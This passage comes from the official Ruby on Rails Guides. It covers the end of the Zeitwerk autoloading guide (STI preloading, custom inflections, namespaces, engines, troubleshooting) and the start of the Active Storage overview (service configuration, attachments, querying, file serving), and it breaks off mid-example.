For this one, the initializer is the same except no collapsing is configured:

```
# config/initializers/preload_stis.rb

unless Rails.application.config.eager_load
  Rails.application.config.to_prepare do
    Rails.autoloaders.main.eager_load_dir("#{Rails.root}/app/models/shapes")
  end
end
```

Same trade-offs.

### [10.4. Option 4: Preload Types from the Database](#option-4-preload-types-from-the-database)

In this option we do not need to organize the files in any way, but we hit the database:

```
# config/initializers/preload_stis.rb

unless Rails.application.config.eager_load
  Rails.application.config.to_prepare do
    types = Shape.unscoped.select(:type).distinct.pluck(:type)
    types.compact.each(&:constantize)
  end
end
```

The STI will work correctly even if the table does not have all the types, but methods like `subclasses` or `descendants` won't return the missing types.

If models are added, modified, or deleted from the STI, reloading works as expected. However, if a new separate STI hierarchy is added to the application, you'll need to edit the initializer and restart the server.

## [11. Customizing Inflections](#customizing-inflections)

By default, Rails uses `String#camelize` to know which constant a given file or directory name should define. For example, `posts_controller.rb` should define `PostsController` because that is what `"posts_controller".camelize` returns.

It could be the case that some particular file or directory name does not get inflected as you want. For instance, `html_parser.rb` is expected to define `HtmlParser` by default. What if you prefer the class to be `HTMLParser`? There are a few ways to customize this.

The easiest way is to define acronyms:

```
ActiveSupport::Inflector.inflections(:en) do |inflect|
  inflect.acronym "HTML"
  inflect.acronym "SSL"
end
```

Doing so affects how Active Support inflects globally. That may be fine in some applications, but you can also customize how to camelize individual basenames independently from Active Support by passing a collection of overrides to the default inflectors:

```
Rails.autoloaders.each do |autoloader|
  autoloader.inflector.inflect(
    "html_parser" => "HTMLParser",
    "ssl_error"   => "SSLError"
  )
end
```

That technique still depends on `String#camelize`, though, because that is what the default inflectors use as fallback. If you instead prefer not to depend on Active Support inflections at all and have absolute control over inflections, configure the inflectors to be instances of `Zeitwerk::Inflector`:

```
Rails.autoloaders.each do |autoloader|
  autoloader.inflector = Zeitwerk::Inflector.new
  autoloader.inflector.inflect(
    "html_parser" => "HTMLParser",
    "ssl_error"   => "SSLError"
  )
end
```

There is no global configuration that can affect said instances; they are deterministic.

You can even define a custom inflector for full flexibility. Please check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#custom-inflector) for further details.

### [11.1. Where Should Inflection Customization Go?](#where-should-inflection-customization-go-questionmark)

If an application does not use the `once` autoloader, the snippets above can go in `config/initializers`. For example, `config/initializers/inflections.rb` for the Active Support use case, or `config/initializers/zeitwerk.rb` for the other ones.

Applications using the `once` autoloader have to move or load this configuration from the body of the application class in `config/application.rb`, because the `once` autoloader uses the inflector early in the boot process.

## [12. Custom Namespaces](#custom-namespaces)

As we saw above, autoload paths represent the top-level namespace: `Object`.

Let's consider `app/services`, for example. This directory is not generated by default, but if it exists, Rails automatically adds it to the autoload paths.

By default, the file `app/services/users/signup.rb` is expected to define `Users::Signup`, but what if you prefer that entire subtree to be under a `Services` namespace? Well, with default settings, that can be accomplished by creating a subdirectory: `app/services/services`.

However, depending on your taste, that just might not feel right to you. You might prefer that `app/services/users/signup.rb` simply defines `Services::Users::Signup`.

Zeitwerk supports [custom root namespaces](https://github.com/fxn/zeitwerk#custom-root-namespaces) to address this use case, and you can customize the `main` autoloader to accomplish that:

```
# config/initializers/autoloading.rb

# The namespace has to exist.
#
# In this example we define the module on the spot. Could also be created
# elsewhere and its definition loaded here with an ordinary `require`. In
# any case, `push_dir` expects a class or module object.
module Services; end

Rails.autoloaders.main.push_dir("#{Rails.root}/app/services", namespace: Services)
```

Rails < 7.1 did not support this feature, but you can still add this additional code in the same file and get it working:

```
# Additional code for applications running on Rails < 7.1.
app_services_dir = "#{Rails.root}/app/services" # has to be a string
ActiveSupport::Dependencies.autoload_paths.delete(app_services_dir)
Rails.application.config.watchable_dirs[app_services_dir] = [:rb]
```

Custom namespaces are also supported for the `once` autoloader. However, since that one is set up earlier in the boot process, the configuration cannot be done in an application initializer. Instead, please put it in `config/application.rb`, for example.

## [13. Autoloading and Engines](#autoloading-and-engines)

Engines run in the context of a parent application, and their code is autoloaded, reloaded, and eager loaded by the parent application. If the application runs in `zeitwerk` mode, the engine code is loaded by `zeitwerk` mode. If the application runs in `classic` mode, the engine code is loaded by `classic` mode.

When Rails boots, engine directories are added to the autoload paths, and from the point of view of the autoloader, there's no difference. Autoloaders' main inputs are the autoload paths, and whether they belong to the application source tree or to some engine source tree is irrelevant.

For example, this application uses [Devise](https://github.com/heartcombo/devise):

```
$ bin/rails runner 'pp ActiveSupport::Dependencies.autoload_paths'
[".../app/controllers",
 ".../app/controllers/concerns",
 ".../app/helpers",
 ".../app/models",
 ".../app/models/concerns",
 ".../gems/devise-4.8.0/app/controllers",
 ".../gems/devise-4.8.0/app/helpers",
 ".../gems/devise-4.8.0/app/mailers"]
```

If the engine controls the autoloading mode of its parent application, the engine can be written as usual.

However, if an engine supports Rails 6 or Rails 6.1 and does not control its parent applications, it has to be ready to run under either `classic` or `zeitwerk` mode. Things to take into account:

1. If `classic` mode would need a `require_dependency` call to ensure some constant is loaded at some point, write it. While `zeitwerk` would not need it, it won't hurt, it will work in `zeitwerk` mode too.

2. `classic` mode underscores constant names ("User" -> "user.rb"), and `zeitwerk` mode camelizes file names ("user.rb" -> "User"). They coincide in most cases, but they don't if there are series of consecutive uppercase letters as in "HTMLParser". The easiest way to be compatible is to avoid such names. In this case, pick "HtmlParser".

3. In `classic` mode, the file `app/model/concerns/foo.rb` is allowed to define both `Foo` and `Concerns::Foo`. In `zeitwerk` mode, there's only one option: it has to define `Foo`. In order to be compatible, define `Foo`.

## [14. Testing](#testing)

### [14.1. Manual Testing](#manual-testing)

The task `zeitwerk:check` checks if the project tree follows the expected naming conventions and it is handy for manual checks. For example, if you're migrating from `classic` to `zeitwerk` mode, or if you're fixing something:

```
$ bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!
```

There can be additional output depending on the application configuration, but the last "All is good!" is what you are looking for.

### [14.2. Automated Testing](#automated-testing)

It is a good practice to verify in the test suite that the project eager loads correctly.

That covers Zeitwerk naming compliance and other possible error conditions. Please check the [section about testing eager loading](testing.html#testing-eager-loading) in the [*Testing Rails Applications*](testing.html) guide.

## [15. Troubleshooting](#troubleshooting)

The best way to follow what the loaders are doing is to inspect their activity.

The easiest way to do that is to include

```
Rails.autoloaders.log!
```

in `config/application.rb` after loading the framework defaults. That will print traces to standard output.

If you prefer logging to a file, configure this instead:

```
Rails.autoloaders.logger = Logger.new("#{Rails.root}/log/autoloading.log")
```

The Rails logger is not yet available when `config/application.rb` executes. If you prefer to use the Rails logger, configure this setting in an initializer instead:

```
# config/initializers/log_autoloaders.rb
Rails.autoloaders.logger = Rails.logger
```

## [16. Rails.autoloaders](#rails-autoloaders)

The Zeitwerk instances managing your application are available at

```
Rails.autoloaders.main
Rails.autoloaders.once
```

The predicate

```
Rails.autoloaders.zeitwerk_enabled?
```

is still available in Rails 7 applications, and returns `true`.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_storage_overview.html
----

***

## [1. What is Active Storage?](#what-is-active-storage-questionmark)

Active Storage facilitates uploading files to a cloud storage service like Amazon S3, or Google Cloud Storage and attaching those files to Active Record objects. It comes with a local disk-based service for development and testing and supports mirroring files to subordinate services for backups and migrations.

Using Active Storage, an application can transform image uploads or generate image representations of non-image uploads like PDFs and videos, and extract metadata from arbitrary files.

### [1.1. Requirements](#requirements)

Various features of Active Storage depend on third-party software which Rails will not install, and must be installed separately:

* [libvips](https://github.com/libvips/libvips) v8.6+ or [ImageMagick](https://imagemagick.org/index.php) for image analysis and transformations
* [ffmpeg](http://ffmpeg.org/) v3.4+ for video previews and ffprobe for video/audio analysis
* [poppler](https://poppler.freedesktop.org/) or [muPDF](https://mupdf.com/) for PDF previews

Compared to libvips, ImageMagick is better known and more widely available. However, libvips can be [up to 10x faster and consume 1/10 the memory](https://github.com/libvips/libvips/wiki/Speed-and-memory-use). For JPEG files, this can be further improved by replacing `libjpeg-dev` with `libjpeg-turbo-dev`, which is [2-7x faster](https://libjpeg-turbo.org/About/Performance).

Before you install and use third-party software, make sure you understand the licensing implications of doing so. MuPDF, in particular, is licensed under AGPL and requires a commercial license for some use.

## [2. Setup](#setup)

```
$ bin/rails active_storage:install
$ bin/rails db:migrate
```

This sets up configuration, and creates the three tables Active Storage uses: `active_storage_blobs`, `active_storage_attachments`, and `active_storage_variant_records`.

| Table                            | Purpose                                                                                                                                                                                                                                               |
| -------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `active_storage_blobs`           | Stores data about uploaded files, such as filename and content type.                                                                                                                                                                                  |
| `active_storage_attachments`     | A polymorphic join table that [connects your models to blobs](#attaching-files-to-records). If your model's class name changes, you will need to run a migration on this table to update the underlying `record_type` to your model's new class name. |
| `active_storage_variant_records` | If [variant tracking](#attaching-files-to-records) is enabled, stores records for each variant that has been generated.                                                                                                                               |

If you are using UUIDs instead of integers as the primary key on your models, you should set `Rails.application.config.generators { |g| g.orm :active_record, primary_key_type: :uuid }` in a config file.

Declare Active Storage services in `config/storage.yml`. For each service your application uses, provide a name and the requisite configuration. The example below declares three services named `local`, `test`, and `amazon`:

```
local:
  service: Disk
  root: <%= Rails.root.join("storage") %>

test:
  service: Disk
  root: <%= Rails.root.join("tmp/storage") %>

# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
amazon:
  service: S3
  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
  bucket: your_own_bucket-<%= Rails.env %>
  region: "" # e.g. 'us-east-1'
```

Tell Active Storage which service to use by setting `Rails.application.config.active_storage.service`. Because each environment will likely use a different service, it is recommended to do this on a per-environment basis. To use the disk service from the previous example in the development environment, you would add the following to `config/environments/development.rb`:

```
# Store files locally.
config.active_storage.service = :local
```

To use the S3 service in production, you would add the following to `config/environments/production.rb`:

```
# Store files on Amazon S3.
config.active_storage.service = :amazon
```

To use the test service when testing, you would add the following to `config/environments/test.rb`:

```
# Store uploaded files on the local file system in a temporary directory.
config.active_storage.service = :test
```

Configuration files that are environment-specific will take precedence: in production, for example, the `config/storage/production.yml` file (if existent) will take precedence over the `config/storage.yml` file.

It is recommended to use `Rails.env` in the bucket names to further reduce the risk of accidentally destroying production data.

```
amazon:
  service: S3
  # ...
  bucket: your_own_bucket-<%= Rails.env %>

google:
  service: GCS
  # ...
  bucket: your_own_bucket-<%= Rails.env %>
```

Continue reading for more information on the built-in service adapters (e.g. `Disk` and `S3`) and the configuration they require.

### [2.1. Disk Service](#disk-service)

Declare a Disk service in `config/storage.yml`:

```
local:
  service: Disk
  root: <%= Rails.root.join("storage") %>
```

### [2.2. S3 Service (Amazon S3 and S3-compatible APIs)](#s3-service-amazon-s3-and-s3-compatible-apis)

To connect to Amazon S3, declare an S3 service in `config/storage.yml`:

```
# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
amazon:
  service: S3
  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
  region: "" # e.g. 'us-east-1'
  bucket: your_own_bucket-<%= Rails.env %>
```

Optionally provide client and upload options:

```
# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
amazon:
  service: S3
  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
  region: "" # e.g. 'us-east-1'
  bucket: your_own_bucket-<%= Rails.env %>
  http_open_timeout: 0
  http_read_timeout: 0
  retry_limit: 0
  upload:
    server_side_encryption: "" # 'aws:kms' or 'AES256'
    cache_control: "private, max-age=<%= 1.day.to_i %>"
```

Set sensible client HTTP timeouts and retry limits for your application. In certain failure scenarios, the default AWS client configuration may cause connections to be held for up to several minutes and lead to request queuing.

Add the [`aws-sdk-s3`](https://github.com/aws/aws-sdk-ruby) gem to your `Gemfile`:

```
gem "aws-sdk-s3", require: false
```

The core features of Active Storage require the following permissions: `s3:ListBucket`, `s3:PutObject`, `s3:GetObject`, and `s3:DeleteObject`. [Public access](#public-access) additionally requires `s3:PutObjectAcl`. If you have additional upload options configured such as setting ACLs then additional permissions may be required.

If you want to use environment variables, standard SDK configuration files, profiles, IAM instance profiles or task roles, you can omit the `access_key_id`, `secret_access_key`, and `region` keys in the example above. The S3 Service supports all of the authentication options described in the [AWS SDK documentation](https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html).

To connect to an S3-compatible object storage API such as DigitalOcean Spaces, provide the `endpoint`:

```
digitalocean:
  service: S3
  endpoint: https://nyc3.digitaloceanspaces.com
  access_key_id: <%= Rails.application.credentials.dig(:digitalocean, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:digitalocean, :secret_access_key) %>
  # ...and other options
```

There are many other options available. You can check them in [AWS S3 Client](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/Client.html#initialize-instance_method) documentation.

### [2.3. Google Cloud Storage Service](#google-cloud-storage-service)

Declare a Google Cloud Storage service in `config/storage.yml`:

```
google:
  service: GCS
  credentials: <%= Rails.root.join("path/to/keyfile.json") %>
  project: ""
  bucket: your_own_bucket-<%= Rails.env %>
```

Optionally provide a Hash of credentials instead of a keyfile path:

```
# Use bin/rails credentials:edit to set the GCS secrets (as gcs:private_key_id|private_key)
google:
  service: GCS
  credentials:
    type: "service_account"
    project_id: ""
    private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %>
    private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %>
    client_email: ""
    client_id: ""
    auth_uri: "https://accounts.google.com/o/oauth2/auth"
    token_uri: "https://accounts.google.com/o/oauth2/token"
    auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs"
    client_x509_cert_url: ""
  project: ""
  bucket: your_own_bucket-<%= Rails.env %>
```

Optionally provide a Cache-Control metadata to set on uploaded assets:

```
google:
  service: GCS
  ...
  cache_control: "public, max-age=3600"
```

Optionally use [IAM](https://cloud.google.com/storage/docs/access-control/signed-urls#signing-iam) instead of the `credentials` when signing URLs. This is useful if you are authenticating your GKE applications with Workload Identity, see [this Google Cloud blog post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-your-gke-applications) for more information.

```
google:
  service: GCS
  ...
  iam: true
```

Optionally use a specific GSA when signing URLs. When using IAM, the [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will be contacted to get the GSA email, but this metadata server is not always present (e.g. local tests) and you may wish to use a non-default GSA.

```
google:
  service: GCS
  ...
  iam: true
  gsa_email: "foobar@baz.iam.gserviceaccount.com"
```

Add the [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/main/google-cloud-storage) gem to your `Gemfile`:

```
gem "google-cloud-storage", "~> 1.11", require: false
```

### [2.4. Mirror Service](#mirror-service)

You can keep multiple services in sync by defining a mirror service. A mirror service replicates uploads and deletes across two or more subordinate services.

A mirror service is intended to be used temporarily during a migration between services in production. You can start mirroring to a new service, copy pre-existing files from the old service to the new, then go all-in on the new service.

Mirroring is not atomic. It is possible for an upload to succeed on the primary service and fail on any of the subordinate services. Before going all-in on a new service, verify that all files have been copied.

Define each of the services you'd like to mirror as described above. Reference them by name when defining a mirror service:

```
# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
s3_west_coast:
  service: S3
  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
  region: "" # e.g. 'us-west-1'
  bucket: your_own_bucket-<%= Rails.env %>

s3_east_coast:
  service: S3
  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
  region: "" # e.g. 'us-east-1'
  bucket: your_own_bucket-<%= Rails.env %>

production:
  service: Mirror
  primary: s3_east_coast
  mirrors:
    - s3_west_coast
```

Although all secondary services receive uploads, downloads are always handled by the primary service.

Mirror services are compatible with direct uploads. New files are directly uploaded to the primary service. When a directly-uploaded file is attached to a record, a background job is enqueued to copy it to the secondary services.

### [2.5. Public access](#public-access)

By default, Active Storage assumes private access to services. This means generating signed, single-use URLs for blobs. If you'd rather make blobs publicly accessible, specify `public: true` in your app's `config/storage.yml`:

```
gcs: &gcs
  service: GCS
  project: ""

private_gcs:
  <<: *gcs
  credentials: <%= Rails.root.join("path/to/private_key.json") %>
  bucket: your_own_bucket-<%= Rails.env %>

public_gcs:
  <<: *gcs
  credentials: <%= Rails.root.join("path/to/public_key.json") %>
  bucket: your_own_bucket-<%= Rails.env %>
  public: true
```

Make sure your buckets are properly configured for public access. See docs on how to enable public read permissions for [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html) and [Google Cloud Storage](https://cloud.google.com/storage/docs/access-control/making-data-public#buckets) storage services. Amazon S3 additionally requires that you have the `s3:PutObjectAcl` permission.

When converting an existing application to use `public: true`, make sure to update every individual file in the bucket to be publicly-readable before switching over.

## [3. Attaching Files to Records](#attaching-files-to-records)

### [3.1. `has_one_attached`](#attaching-files-to-records-has-one-attached)

The [`has_one_attached`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached) macro sets up a one-to-one mapping between records and files. Each record can have one file attached to it.

For example, suppose your application has a `User` model. If you want each user to have an avatar, define the `User` model as follows:

```
class User < ApplicationRecord
  has_one_attached :avatar
end
```

or if you are using Rails 6.0+, you can run a model generator command like this:

```
$ bin/rails generate model User avatar:attachment
```

You can create a user with an avatar:

```
<%= form.file_field :avatar %>
```

```
class SignupController < ApplicationController
  def create
    user = User.create!(user_params)
    session[:user_id] = user.id
    redirect_to root_path
  end

  private
    def user_params
      params.expect(user: [:email_address, :password, :avatar])
    end
end
```

Call [`avatar.attach`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/One.html#method-i-attach) to attach an avatar to an existing user:

```
user.avatar.attach(params[:avatar])
```

Call [`avatar.attached?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/One.html#method-i-attached-3F) to determine whether a particular user has an avatar:

```
user.avatar.attached?
```

In some cases you might want to override a default service for a specific attachment. You can configure specific services per attachment using the `service` option with the name of your service:

```
class User < ApplicationRecord
  has_one_attached :avatar, service: :google
end
```

You can configure specific variants per attachment by calling the `variant` method on yielded attachable object:

```
class User < ApplicationRecord
  has_one_attached :avatar do |attachable|
    attachable.variant :thumb, resize_to_limit: [100, 100]
  end
end
```

Call `avatar.variant(:thumb)` to get a thumb variant of an avatar:

```
<%= image_tag user.avatar.variant(:thumb) %>
```

You can use specific variants for previews as well:

```
class User < ApplicationRecord
  has_one_attached :video do |attachable|
    attachable.variant :thumb, resize_to_limit: [100, 100]
  end
end
```

```
<%= image_tag user.video.preview(:thumb) %>
```

If you know in advance that your variants will be accessed, you can specify that Rails should generate them ahead of time:

```
class User < ApplicationRecord
  has_one_attached :video do |attachable|
    attachable.variant :thumb, resize_to_limit: [100, 100], preprocessed: true
  end
end
```

Rails will enqueue a job to generate the variant after the attachment is attached to the record.

Since Active Storage relies on polymorphic associations, and [polymorphic associations](./association_basics.html#polymorphic-associations) rely on storing class names in the database, that data must remain synchronized with the class name used by the Ruby code. When renaming classes that use `has_one_attached`, make sure to also update the class names in the `active_storage_attachments.record_type` polymorphic type column of the corresponding rows.

### [3.2. `has_many_attached`](#attaching-files-to-records-has-many-attached)

The [`has_many_attached`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached) macro sets up a one-to-many relationship between records and files. Each record can have many files attached to it.

For example, suppose your application has a `Message` model. If you want each message to have many images, define the `Message` model as follows:

```
class Message < ApplicationRecord
  has_many_attached :images
end
```

or if you are using Rails 6.0+, you can run a model generator command like this:

```
$ bin/rails generate model Message images:attachments
```

You can create a message with images:

```
class MessagesController < ApplicationController
  def create
    message = Message.create!(message_params)
    redirect_to message
  end

  private
    def message_params
      params.expect(message: [ :title, :content, images: [] ])
    end
end
```

Call [`images.attach`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Many.html#method-i-attach) to add new images to an existing message:

```
@message.images.attach(params[:images])
```

Call [`images.attached?`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Many.html#method-i-attached-3F) to determine whether a particular message has any images:

```
@message.images.attached?
```

Overriding the default service is done the same way as `has_one_attached`, by using the `service` option:

```
class Message < ApplicationRecord
  has_many_attached :images, service: :s3
end
```

Configuring specific variants is done the same way as `has_one_attached`, by calling the `variant` method on the yielded attachable object:

```
class Message < ApplicationRecord
  has_many_attached :images do |attachable|
    attachable.variant :thumb, resize_to_limit: [100, 100]
  end
end
```

Since Active Storage relies on polymorphic associations, and [polymorphic associations](./association_basics.html#polymorphic-associations) rely on storing class names in the database, that data must remain synchronized with the class name used by the Ruby code. When renaming classes that use `has_many_attached`, make sure to also update the class names in the `active_storage_attachments.record_type` polymorphic type column of the corresponding rows.

### [3.3. Attaching File/IO Objects](#attaching-file-io-objects)

Sometimes you need to attach a file that doesn’t arrive via an HTTP request. For example, you may want to attach a file you generated on disk or downloaded from a user-submitted URL. You may also want to attach a fixture file in a model test. To do that, provide a Hash containing at least an open IO object and a filename:

```
@message.images.attach(io: File.open("/path/to/file"), filename: "file.pdf")
```

When possible, provide a content type as well. Active Storage attempts to determine a file’s content type from its data. It falls back to the content type you provide if it can’t do that.

```
@message.images.attach(io: File.open("/path/to/file"), filename: "file.pdf", content_type: "application/pdf")
```

You can bypass the content type inference from the data by passing in `identify: false` along with the `content_type`.

```
@message.images.attach(
  io: File.open("/path/to/file"),
  filename: "file.pdf",
  content_type: "application/pdf",
  identify: false
)
```

If you don’t provide a content type and Active Storage can’t determine the file’s content type automatically, it defaults to application/octet-stream.

There is an additional parameter `key` that can be used to specify folders/sub-folders in your S3 Bucket. AWS S3 otherwise uses a random key to name your files. This approach is helpful if you want to organize your S3 Bucket files better.

The `key` parameter is treated as trusted. Using untrusted user input as the key may result in unexpected behavior.

```
@message.images.attach(
  io: File.open("/path/to/file"),
  filename: "file.pdf",
  content_type: "application/pdf",
  key: "#{Rails.env}/blog_content/intuitive_filename.pdf",
  identify: false
)
```

This way the file will get saved in the folder `[S3_BUCKET]/development/blog_content/` when you test this from your development environment. Note that if you use the key parameter, you have to ensure the key to be unique for the upload to go through. It is recommended to append the filename with a unique random key, something like:

```
def s3_file_key
  "#{Rails.env}/blog_content/intuitive_filename-#{SecureRandom.uuid}.pdf"
end
```

```
@message.images.attach(
  io: File.open("/path/to/file"),
  filename: "file.pdf",
  content_type: "application/pdf",
  key: s3_file_key,
  identify: false
)
```

### [3.4. Replacing vs Adding Attachments](#replacing-vs-adding-attachments)

By default in Rails, attaching files to a `has_many_attached` association will replace any existing attachments.

To keep existing attachments, you can use hidden form fields with the [`signed_id`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-signed_id) of each attached file:

```
<% @message.images.each do |image| %>
  <%= form.hidden_field :images, multiple: true, value: image.signed_id %>
<% end %>

<%= form.file_field :images, multiple: true %>
```

This has the advantage of making it possible to remove existing attachments selectively, e.g. by using JavaScript to remove individual hidden fields.

### [3.5. Form Validation](#form-validation)

Attachments aren't sent to the storage service until a successful `save` on the associated record. This means that if a form submission fails validation, any new attachment(s) will be lost and must be uploaded again. Since [direct uploads](#direct-uploads) are stored before the form is submitted, they can be used to retain uploads when validation fails:

```
<%= form.hidden_field :avatar, value: @user.avatar.signed_id if @user.avatar.attached? %>
<%= form.file_field :avatar, direct_upload: true %>
```

## [4. Querying](#querying)

Active Storage attachments are Active Record associations behind the scenes, so you can use the usual [query methods](active_record_querying.html) to look up records for attachments that meet specific criteria.

### [4.1. `has_one_attached`](#querying-has-one-attached)

[`has_one_attached`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached) creates a `has_one` association named `"<name>_attachment"` and a `has_one :through` association named `"<name>_blob"`. To select every user where the avatar is a PNG, run the following:

```
User.joins(:avatar_blob).where(active_storage_blobs: { content_type: "image/png" })
```

### [4.2. `has_many_attached`](#querying-has-many-attached)

[`has_many_attached`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached) creates a `has_many` association called `"<name>_attachments"` and a `has_many :through` association called `"<name>_blobs"` (note the plural). To select all messages where images are videos rather than photos you can do the following:

```
Message.joins(:images_blobs).where(active_storage_blobs: { content_type: "video/mp4" })
```

The query will filter on the [**`ActiveStorage::Blob`**](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html), not the [attachment record](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attachment.html) because these are plain SQL joins. You can combine the blob predicates above with any other scope conditions, just as you would with any other Active Record query.

## [5. Removing Files](#removing-files)

To remove an attachment from a model, call [`purge`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/One.html#method-i-purge) on the attachment. If your application is set up to use Active Job, removal can be done in the background instead by calling [`purge_later`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Attached/One.html#method-i-purge_later). Purging deletes the blob and the file from the storage service.

```
# Synchronously destroy the avatar and actual resource files.
user.avatar.purge

# Destroy the associated models and actual resource files async, via Active Job.
user.avatar.purge_later
```

## [6. Serving Files](#serving-files)

Active Storage supports two ways to serve files: redirecting and proxying.

All Active Storage controllers are publicly accessible by default. Anyone who knows the URL can access the file, even if the rest of your application requires authentication. If your files require access control consider implementing [Authenticated Controllers](#authenticated-controllers).

### [6.1. Redirect Mode](#redirect-mode)

To generate a permanent URL for a blob, you can pass the attachment or the blob to the [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/RoutingUrlFor.html#method-i-url_for) view helper. This generates a URL with the blob's [`signed_id`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-signed_id) that is routed to the blob's [`RedirectController`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blobs/RedirectController.html)

```
url_for(user.avatar)
# => https://www.example.com/rails/active_storage/blobs/redirect/:signed_id/my-avatar.png
```

The `RedirectController` redirects to the actual service endpoint. This indirection decouples the service URL from the actual one, and allows, for example, mirroring attachments in different services for high-availability. The redirection has an HTTP expiration of 5 minutes.

To create a download link, use the `rails_blob_{path|url}` helper. Using this helper allows you to set the disposition.

```
rails_blob_path(user.avatar, disposition: "attachment")
```

To prevent XSS attacks, Active Storage forces the Content-Disposition header to "attachment" for some kind of files. To change this behavior see the available configuration options in [Configuring Rails Applications](configuring.html#configuring-active-storage).

If you need to create a link from outside of controller/view context (Background jobs, Cronjobs, etc.), you can access the `rails_blob_path` like this:

```
Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true)
```

### [6.2. Proxy Mode](#proxy-mode)

Optionally, files can be proxied instead. This means that your application servers will download file data from the storage service in response to requests. This can be useful for serving files from a CDN.

You can configure Active Storage to use proxying by default:

```
# config/initializers/active_storage.rb
Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy
```

Or if you want to explicitly proxy specific attachments there are URL helpers you can use in the form of `rails_storage_proxy_path` and `rails_storage_proxy_url`.

```
<%= image_tag rails_storage_proxy_path(@user.avatar) %>
```

#### [6.2.1. Putting a CDN in Front of Active Storage](#putting-a-cdn-in-front-of-active-storage)

Additionally, in order to use a CDN for Active Storage attachments, you will need to generate URLs with proxy mode so that they are served by your app and the CDN will cache the attachment without any extra configuration. This works out of the box because the default Active Storage proxy controller sets an HTTP header indicating to the CDN to cache the response.

You should also make sure that the generated URLs use the CDN host instead of your app host. There are multiple ways to achieve this, but in general it involves tweaking your `config/routes.rb` file so that you can generate the proper URLs for the attachments and their variations. As an example, you could add this:

```
# config/routes.rb
direct :cdn_image do |model, options|
  expires_in = options.delete(:expires_in) { ActiveStorage.urls_expire_in }

  if model.respond_to?(:signed_id)
    route_for(
      :rails_service_blob_proxy,
      model.signed_id(expires_in: expires_in),
      model.filename,
      options.merge(host: ENV["CDN_HOST"])
    )
  else
    signed_blob_id = model.blob.signed_id(expires_in: expires_in)
    variation_key  = model.variation.key
    filename       = model.blob.filename

    route_for(
      :rails_blob_representation_proxy,
      signed_blob_id,
      variation_key,
      filename,
      options.merge(host: ENV["CDN_HOST"])
    )
  end
end
```

and then generate routes like this:

```
<%= cdn_image_url(user.avatar.variant(resize_to_limit: [128, 128])) %>
```

### [6.3. Authenticated Controllers](#authenticated-controllers)

All Active Storage controllers are publicly accessible by default. The generated URLs use a plain [`signed_id`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-signed_id), making them hard to guess but permanent. Anyone that knows the blob URL will be able to access it, even if a `before_action` in your `ApplicationController` would otherwise require a login. If your files require a higher level of protection, you can implement your own authenticated controllers, based on the [`ActiveStorage::Blobs::RedirectController`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blobs/RedirectController.html), [`ActiveStorage::Blobs::ProxyController`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blobs/ProxyController.html), [`ActiveStorage::Representations::RedirectController`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Representations/RedirectController.html) and [`ActiveStorage::Representations::ProxyController`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Representations/ProxyController.html)

To only allow an account to access their own logo you could do the following:

```
# config/routes.rb
resource :account do
  resource :logo
end
```

```
# app/controllers/logos_controller.rb
class LogosController < ApplicationController
  # Through ApplicationController:
  # include Authenticate, SetCurrentAccount

